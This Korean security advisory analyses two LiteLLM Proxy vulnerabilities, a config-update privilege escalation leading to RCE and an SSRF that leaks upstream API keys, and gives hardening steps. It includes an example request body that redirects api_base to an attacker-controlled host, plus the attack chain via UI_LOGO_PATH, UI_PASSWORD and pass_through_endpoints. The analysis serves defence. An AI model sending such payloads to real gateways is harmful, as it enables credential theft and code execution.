LiteLLM Proxy 취약점(CVE-2026-35029·CVE-2026-59823) 분석과 AI API 게이트웨이 보안 점검 가이드

사내 AI API 게이트웨이로 많이 쓰이는 LiteLLM Proxy에서 일반 호출 키나 대시보드 저권한 토큰만으로도 프록시 설정을 덮어써 원격 코드 실행에 이르거나(CVE-2026-35029, < 1.83.0), 추론 요청 본문의 중첩 객체(user_config)로 아웃바운드 경로를 바꿔치기해 서버에 저장된 기본 LLM 공급사 API 키를 탈취할 수 있는(CVE-2026-59823, <= 1.83.8) 취약점 구조가 상세히 공개됐습니다. 이 문제를 막으려면 패키지를 최소 1.83.9 이상으로 올리는 것에 그치지 않고, 제어 평면(/config, /ui, /key)과 추론 데이터 평면(/v1/chat/completions, /v1/responses)을 리버스 프록시에서 분리하며 게이트웨이의 아웃바운드(Egress) 목적지를 허용 목록으로 묶어야 합니다.

이 글은 2026년 10월 18일 기준으로 GitHub Security Advisories(GHSA-53mr-6c8q-9789, GHSA-hx8v-g79f-8w5f)와 Check Point Research의 기술 분석 보고서(2026년 10월 13일 발행, v1.77.7 기준 분석), 그리고 LiteLLM 공식 설정 문서를 대조해 작성한 보안 점검 해설입니다. 2026년 10월 18일 AI·테크 브리핑에서 짚었듯 두 취약점은 오늘 새로 발견된 제로데이가 아니라 2026년 4월과 9월에 각각 권고·패치가 반영된 사안이며, 본문의 공격 메커니즘 설명은 공개된 권고문과 연구 보고서의 코드 분석을 바탕으로 재구성했습니다(실제 운영 서버 대상 침투 테스트는 수행하지 않음).

1. 두 핵심 취약점과 관련 대시보드 이슈의 영향 범위 비교

사내 여러 팀에 가상 키(Virtual Key, sk-...)나 대시보드 열람 계정을 발급해 OpenAI·Anthropic·Vertex AI 호출을 중앙 중계하는 구조라면, 프록시 서버 한 대에 모든 상위 공급사의 마스터 API 키와 DB 연결 문자열이 모입니다. 이번에 분석이 공개된 취약점들은 바로 이 ‘내부 저권한 인증 사용자’가 게이트웨이 전체 권한이나 상위 API 키를 가져갈 수 있었던 경로를 보여줍니다.

핵심은 1.83.0으로만 올리면 CVE-2026-35029는 막히지만 CVE-2026-59823 SSRF에는 여전히 노출된다는 점입니다. 따라서 최소 패치 기준선은 반드시 1.83.9 이상으로 잡아야 합니다.

2. 왜 일반 토큰으로 원격 코드 실행까지 가능했나 (CVE-2026-35029)

CVE-2026-35029는 단순한 설정 열람 버그가 아니라, ① 라우트 접두사(Prefix) 검사의 허점, ② 관리 엔드포인트의 역할(Role) 검증 누락, ③ 동적 환경 변수·플러그인 로더 기능이 세 단계로 맞물리며 치명도가 높아진 사례입니다.

[1단계: 라우트 허용 목록 우회]
대시보드 UI 토큰 (team_id: "litellm-dashboard")
  └─ LITELLM_RESEARCH_ROUTES의 "/config" 접두사 검사(startswith) 통과
       └─ POST /config/update 도달 (1.83.0 미만에서 proxy_admin 역할 검사 누락)
 
[2단계: 설정·환경 변수 조작을 통한 권한 상승 및 코드 실행]
  ├─ 경로 A (임의 파일 읽기): environment_variables.UI_LOGO_PATH 변경 → GET /get_image 호출
  ├─ 경로 B (관리자 계정 탈취): environment_variables.UI_USERNAME / UI_PASSWORD 덮어쓰기 → /login
  └─ 경로 C (원격 코드 실행): general_settings.pass_through_endpoints에 s3:// · gcs:// .py 등록
       └─ get_custom_file 다운로드 → importlib.util.spec_from_file_location + exec_module 실행

① /config 접두사 매칭과 역할 검증 누락의 결합

Check Point Research의 v1.77.7 분석에 따르면, LiteLLM 대시보드(Admin UI)에 로그인한 일반 사용자에게는 team_id가 "litellm-dashboard"로 지정된 세션 토큰이 발급됩니다. 프록시는 이 토큰이 호출할 수 있는 경로를 LITELLM_RESEARCH_ROUTES 목록으로 제한했는데, 이 목록에 "/config"가 포함되어 있었습니다.

문제는 경로 검사 로직이 정확한 문자열 일치가 아니라 **접두사 매칭(route.startswith(allowed_route))**으로 작성되어 있었다는 점입니다. 그 결과 읽기 전용 설정 조회뿐 아니라 설정을 변경하는 **POST /config/update**까지 라우트 차단을 통과했고, 정작 /config/update 핸들러 내부에는 호출자가 proxy_admin 역할인지 확인하는 인가(Authorization) 검증이 빠져 있었습니다.

② 환경 변수(environment_variables) 주입을 통한 임의 파일 읽기와 계정 탈취

POST /config/update는 전달받은 environment_variables 딕셔너리를 복호화해 서버 프로세스의 os.environ에 즉시 반영합니다. 공개된 권고문(GHSA-53mr-6c8q-9789)과 분석 보고서는 이를 악용한 두 가지 즉각적인 권한 상승 경로를 지적합니다.

1. 임의 파일 읽기 (UI_LOGO_PATH + GET /get_image): 대시보드 로고를 반환하는 GET /get_image 엔드포인트는 os.getenv("UI_LOGO_PATH") 경로의 파일을 읽어 그대로 FileResponse로 반환합니다. 공격자가 /config/update를 통해 UI_LOGO_PATH를 /etc/passwd나 애플리케이션 설정·시크릿 파일 경로로 바꾼 뒤 /get_image를 호출하면 서버 내부 파일을 그대로 내려받을 수 있습니다.
2. 관리자 로그인 탈취 (UI_USERNAME · UI_PASSWORD): 대시보드 /login 엔드포인트는 환경 변수 UI_USERNAME과 UI_PASSWORD가 설정되어 있으면 이를 기본 관리자(proxy_admin) 자격증명으로 우선 비교합니다. 저권한 사용자가 두 환경 변수를 자신이 아는 값으로 덮어쓰면 즉시 최고 관리자 세션 토큰을 발급받을 수 있습니다.

③ pass_through_endpoints를 통한 원격 파이썬 모듈 실행(RCE)

더 심각한 경로는 general_settings.pass_through_endpoints 설정을 갱신할 때 동작하는 동적 모듈 로더입니다.

LiteLLM Proxy는 패스스루 엔드포인트를 초기화(initialize_pass_through_endpoints)할 때 target 값이 s3:// 또는 gcs://로 시작하면 오브젝트 스토리지에서 커스텀 파이썬 파일을 내려받아(get_custom_file), 파이썬 표준 라이브러리의 importlib.util.spec_from_file_location과 **spec.loader.exec_module**로 메모리에 즉시 로드합니다. 즉, /config/update 호출 권한을 얻은 공격자가 자신이 제어하는 버킷의 .py 스크립트를 패스스루 타깃으로 등록하는 순간 프록시 컨테이너 내부에서 임의 코드가 실행됩니다.

3. 왜 api_base 차단 필터가 우회됐나 (CVE-2026-59823 SSRF와 API 키 유출)

두 번째 취약점인 CVE-2026-59823(GHSA-hx8v-g79f-8w5f)은 제어 평면이 아니라 모든 개발자와 사내 서비스가 일상적으로 호출하는 /chat/completions 추론 엔드포인트에서 발생합니다.

최상위 파라미터만 검사한 is_request_body_safe의 사각지대

원래 LiteLLM Proxy는 클라이언트가 추론 요청 본문(JSON)에 임의의 api_base나 base_url을 넣어 프록시의 아웃바운드 요청을 엉뚱한 서버로 돌리지 못하도록 is_request_body_safe 함수로 요청 본문을 검사했습니다. 관리자가 config.yaml의 configurable_clientside_auth_params에 허용 정규식을 명시하지 않는 한, 클라이언트가 보낸 api_base는 거부되는 것이 정상입니다.

그러나 1.83.8 이하 버전에서 is_request_body_safe는 요청 JSON의 최상위(Top-level) 키에 있는 api_base와 base_url만 검사했습니다. 반면 라우터 생성 로직은 클라이언트 측 자격증명 기능(Clientside LLM Credentials)을 지원하기 위해 요청 본문 안의 user_config 중첩 객체를 읽어들여 임시 라우터를 구성했습니다.

{
  "model": "gpt-4o",
  "messages": [{ "role": "user", "content": "ping" }],
  "user_config": {
    "model_name": "gpt-4o",
    "litellm_params": {
      "model": "openai/gpt-4o",
      "api_base": "https://attacker-controlled.example.com/v1"
    }
  }
}

위와 같이 최상위가 아닌 user_config 내부에 api_base를 중첩해 전달하면 is_request_body_safe와 configurable_clientside_auth_params 검사를 모두 건너뛰고 공격자가 지정한 호스트로 프록시가 요청을 보내게 됩니다(커밋 47214be 및 PR #25827에서 수정).

왜 AI 게이트웨이의 SSRF는 일반 SSRF보다 위험한가

일반 웹 서버의 SSRF는 주로 클라우드 메타데이터 서비스(169.254.169.254)나 내부 사설망(VPC)의 비공개 포트를 탐색하는 데 쓰입니다. 물론 CVE-2026-59823으로도 동일한 내부망 탐색이 가능합니다.

하지만 AI API 게이트웨이에서는 여기에 **‘업스트림 API 키 자동 첨부’**라는 치명적인 특성이 더해집니다. 클라이언트가 user_config에 공격자 서버의 api_base만 지정하고 api_key를 생략하면, LiteLLM Proxy는 서버 환경 변수나 DB에 저장된 조직의 기본 LLM 공급사 API 키(OPENAI_API_KEY 등)를 Authorization: Bearer ... 헤더에 실어서 공격자 서버로 전송합니다. 즉, 한도가 5달러짜리인 사내 테스트용 가상 키 하나로 조직 전체가 공유하는 상위 공급사 마스터 API 키를 탈취할 수 있는 구조였습니다.

4. 사내 AI API 게이트웨이 보안 점검 및 하드닝 4단계 절차

패키지 버전을 올리는 것은 기본이고, 설령 향후 새로운 파라미터 우회나 인가 버그가 나오더라도 피해가 상위 API 키 유출이나 원격 코드 실행으로 번지지 않도록 방어 계층을 분리해야 합니다. 아래 4단계는 운영 중인 LiteLLM Proxy 환경에 바로 적용할 수 있는 실무 절차입니다.

1단계: 버전 확인·업그레이드(>= 1.83.9) 및 기존 설정 오염 여부 감사

먼저 컨테이너 이미지 또는 파이썬 가상환경의 litellm 버전을 확인하고 1.83.9 이상(권장: 최신 안정 릴리스)으로 업그레이드합니다.

docker exec -it litellm-proxy pip show litellm
# 패치 기준선: CVE-2026-35029 >= 1.83.0 / CVE-2026-59823 >= 1.83.9

만약 1.83.9 미만 버전을 외부망이나 다수 사용자가 접근 가능한 환경에서 운영했다면, 단순 업그레이드만으로는 부족합니다. 이미 공격자가 DB 설정이나 환경 변수를 건드렸거나 상위 API 키를 수집했을 가능성을 염두에 두고 다음 항목을 점검해야 합니다.

1. 데이터베이스 설정(LiteLLM_Config 등) 감사: 관리자가 등록하지 않은 pass_through_endpoints(특히 s3://, gcs:// 경로)나 비정상적인 environment_variables(UI_LOGO_PATH, UI_USERNAME, UI_PASSWORD)가 저장되어 있지 않은지 확인합니다.
2. 자격증명 순환(Key Rotation): 신뢰 경계 밖의 사용자에게 가상 키나 대시보드 계정을 발급한 이력이 있다면, 업그레이드 직후 상위 공급사 API 키(OPENAI_API_KEY, ANTHROPIC_API_KEY 등)와 LITELLM_MASTER_KEY를 재발급합니다.

2단계: 리버스 프록시에서 제어 평면과 추론 데이터 평면 분리 (운영 권장)

1.83.0 이후 /config/update에 proxy_admin 역할 검사가 추가됐더라도, 애플리케이션이나 에이전트가 호출하는 데이터 평면 엔드포인트에 /config, /key, /ui, /get_image 같은 관리 경로를 함께 열어두는 것은 불필요한 공격 표면을 남기는 일입니다.

가장 확실한 방법은 사내 서비스에 노출하는 리버스 프록시(Nginx, Envoy, AWS ALB 등)에서 **추론에 필요한 데이터 평면 경로만 명시적 허용(Allowlist)**하고, 관리 UI와 설정 변경 API는 관리자 전용 VPN이나 내부 관리망 포트에서만 접근하도록 분리하는 것입니다.

server {
    listen 443 ssl http2;
    server_name llm-gateway.internal.example.com;
 
    # 추론·배치 데이터 평면 경로만 허용
    location ~ ^/v1/(chat/completions|completions|responses|embeddings|batches|files|models)$ {
        proxy_pass http://litellm_backend:4000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_buffering off;
        proxy_read_timeout 300s;
    }
 
    location = /health/liveliness {
        proxy_pass http://litellm_backend:4000;
    }
 
    # /config, /ui, /key, /user, /team, /get_image 등 관리 경로 차단
    location / {
        return 403;
    }
}

이렇게 구성하면 설령 애플리케이션 서버가 침해되어 내부 가상 키(sk-...)가 탈취되더라도, 해당 네트워크 경로로는 /config/*나 /ui/*, /get_image 엔드포인트 자체에 도달할 수 없습니다.

3단계: config.yaml의 동적 라우팅·패스스루 최소 권한 설정

LiteLLM Proxy의 설정 파일(config.yaml)을 구성할 때는 클라이언트가 요청 시점에 엔드포인트를 재정의할 수 있는 설정을 기본 비활성화 상태로 유지해야 합니다.

model_list:
  - model_name: gpt-6.1-sol
    litellm_params:
      model: openai/gpt-6.1-sol
      api_key: os.environ/OPENAI_API_KEY
 
general_settings:
  master_key: os.environ/LITELLM_MASTER_KEY
  # 패스스루는 정적 HTTPS 도메인만 지정 (s3:// · gcs:// 원격 모듈 경로 금지)
  pass_through_endpoints:
    - path: "/v1/messages"
      target: "https://api.anthropic.com/v1/messages"
      headers:
        x-api-key: "os.environ/ANTHROPIC_API_KEY"
 
# configurable_clientside_auth_params는 기본 미설정(비활성화) 유지 권장.
# 불가피한 경우에만 시작(^)·끝($)을 고정한 정규식으로 제한:
# configurable_clientside_auth_params:
#   - {"api_base": "^https://gateway\\.approved-corp\\.internal/v1$"}

4단계: 아웃바운드(Egress) 네트워크 통제로 SSRF·API 키 유출의 2차 방어선 구축

CVE-2026-59823 사례가 남긴 가장 중요한 교훈은 애플리케이션 코드의 입력값 필터링(is_request_body_safe)만 믿고 게이트웨이 컨테이너의 외부 인터넷 접속을 전면 허용해서는 안 된다는 점입니다.

LiteLLM Proxy가 호출해야 하는 목적지는 조직이 계약한 소수의 LLM 공급사 엔드포인트(api.openai.com, api.anthropic.com, *-aiplatform.googleapis.com 등)와 사내 DB·Redis뿐입니다. 따라서 컨테이너나 파드(Pod) 수준에서 아웃바운드 트래픽을 다음과 같이 제한하는 것이 안전합니다.

1. 클라우드 메타데이터 및 내부 사설망 차단: 게이트웨이 워크로드에서 169.254.169.254/32(클라우드 인스턴스 메타데이터)와 불필요한 사설 대역(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 중 DB·캐시 서브넷을 제외한 나머지)으로 향하는 아웃바운드 연결을 Kubernetes NetworkPolicy나 VPC 보안 그룹에서 차단합니다.
2. 도메인 기반 이그레스 프록시(Egress Proxy) 또는 방화벽 적용: 아웃바운드 HTTPS(443) 연결을 허용된 LLM 공급사 도메인 목록으로만 제한하면, 설령 새로운 SSRF 우회 경로가 발견되더라도 프록시가 공격자의 외부 수집 서버로 연결을 맺지 못해 Authorization 헤더에 담긴 마스터 API 키 유출을 네트워크 계층에서 차단할 수 있습니다.
3. 저장소 내 설정 파일과 의존성 상시 점검: 게이트웨이의 Dockerfile, docker-compose.yml, requirements.txt 버전을 고정(Pinning)하고 Dependabot 및 코드 스캔을 활성화해 보안 권고 발생 시 즉시 감지하도록 구성합니다. 저장소 수준의 취약점 탐지와 자동 수정 검증 절차는 GitHub AI 취약점 스캔과 에이전트 자동 수정 실무 가이드에서 함께 확인하실 수 있습니다.

참고 자료 및 원문 출처

아래 문서는 모두 2026년 10월 18일 기준으로 원문 내용과 패치 버전을 대조해 확인했습니다.

• GitHub Advisory Database — GHSA-53mr-6c8q-9789 (CVE-2026-35029): LiteLLM Privilege escalation via unrestricted proxy configuration endpoint (2026-04-03 발행, 2026-05-06 갱신, < 1.83.0 영향 / 1.83.0 패치)
• GitHub Advisory Database — GHSA-hx8v-g79f-8w5f (CVE-2026-59823): LiteLLM Proxy has server-side request forgery via the user_config request parameter (2026-08-26 저장소 공개, 2026-09-17 GHSA 발행, <= 1.83.8 영향 / 1.83.9 패치)
• Check Point Research — When LLM Gateways Go Wrong: Findings from LiteLLM (2026-10-13 발행, LiteLLM v1.77.7 기준 코드 경로 분석)
• LiteLLM 공식 문서 — Proxy Configs (general_settings, pass_through_endpoints, configurable_clientside_auth_params)